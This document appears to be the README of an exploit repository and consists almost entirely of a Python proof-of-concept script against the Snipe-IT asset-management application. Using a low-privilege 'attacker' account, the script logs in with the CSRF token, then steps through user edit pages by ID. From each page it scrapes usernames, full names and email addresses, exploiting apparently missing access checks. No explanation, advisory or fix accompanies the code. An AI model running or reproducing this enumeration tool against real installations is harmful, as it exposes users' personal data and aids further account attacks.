README.md
Rendering markdown...
import requests
from bs4 import BeautifulSoup
import argparse
import sys
# Configuration
BASE_URL = "http://localhost:8000"
LOGIN_URL = f"{BASE_URL}/login"
print("""
▄▄▄▄▄▄▄ ▄▄▄
█████▀▀▀ ▀▀ ███ ▀▀ ██
▀████▄ ████▄ ██ ████▄ ▄█▀█▄ ████▄ ███ ██ ▄█▀▀▀ ▀██▀▀
▀████ ██ ██ ██ ██ ██ ██▄█▀ ██ ▀▀ ███ ██ ▀███▄ ██
███████▀ ██ ██ ██▄ ████▀ ▀█▄▄▄ ██ ████████ ██▄ ▄▄▄█▀ ██
██
▀▀
""")
print("Snipe-IT User Enum (Web Scraping)")
print("\n")
def parse_args():
parser = argparse.ArgumentParser(description="Snipe-IT User Enum (Web Scraping)")
# Attacker Credentials
parser.add_argument("--attacker-username", type=str, required=True, help="Username of the attacker's account")
parser.add_argument("--attacker-password", type=str, required=True, help="Password of the attacker's account")
parser.add_argument("--max-id", type=int, default=100, help="Maximum User ID to check (default: 100)")
return parser.parse_args()
def login(args):
session = requests.Session()
# 1 get the login page to fetch CSRF token
print(f"Fetching login page: {LOGIN_URL}")
try:
response = session.get(LOGIN_URL)
response.raise_for_status()
except requests.exceptions.RequestException as e:
print(f"Error fetching login page: {e}")
return None
soup = BeautifulSoup(response.text, 'html.parser')
token_input = soup.find('input', {'name': '_token'})
if not token_input:
print("Could not find CSRF token on login page.")
return None
csrf_token = token_input['value']
print(f"Token CSRF found: {csrf_token}")
# 2 login
payload = {
'_token': csrf_token,
'username': args.attacker_username,
'password': args.attacker_password
}
print(f"Attempting login as {args.attacker_username}")
try:
response = session.post(LOGIN_URL, data=payload, allow_redirects=True)
response.raise_for_status()
except requests.exceptions.RequestException as e:
print(f"Error during login POST: {e}")
return None
# 3 verify login success
if response.url == f"{BASE_URL}/" or "dashboard" in response.url or "Logout" in response.text:
print("Login successful!")
return session
else:
print("Login failed. Check credentials or response.")
return None
def list_users(session, max_id):
print(f"\nEnumerating users via Web Scraping (ID 1 to {max_id})...\n")
print(f"{'ID':<5} | {'Username':<20} | {'Name':<30} | {'Email':<30}")
print("-" * 90)
consecutive_failures = 0
for user_id in range(1, max_id + 1):
url = f"{BASE_URL}/users/{user_id}/edit"
try:
response = session.get(url)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
# find the username input field
username_input = soup.find('input', {'name': 'username'})
if username_input:
consecutive_failures = 0
username = username_input.get('value', 'N/A')
# find other fields
first_name = soup.find('input', {'name': 'first_name'})
last_name = soup.find('input', {'name': 'last_name'})
email_input = soup.find('input', {'name': 'email'})
f_name = first_name.get('value', '') if first_name else ''
l_name = last_name.get('value', '') if last_name else ''
full_name = f"{f_name} {l_name}".strip()
email = email_input.get('value', 'N/A') if email_input else 'N/A'
print(f"{user_id:<5} | {username:<20} | {full_name:<30} | {email:<30}")
else:
# Page loaded but no username field (maybe permission denied page or 404 handled gracefully)
# print(f"[-] ID {user_id}: No data found (Permission denied or invalid ID)")
consecutive_failures += 1
else:
# print(f"[-] ID {user_id}: HTTP {response.status_code}")
consecutive_failures += 1
if consecutive_failures >= 5:
print("-" * 90)
print(f"\nStopping after {consecutive_failures} consecutive failures.")
break
except Exception as e:
print(f"Error checking ID {user_id}: {e}")
print("-" * 90)
if __name__ == "__main__":
args = parse_args()
session = login(args)
if session:
list_users(session, args.max_id)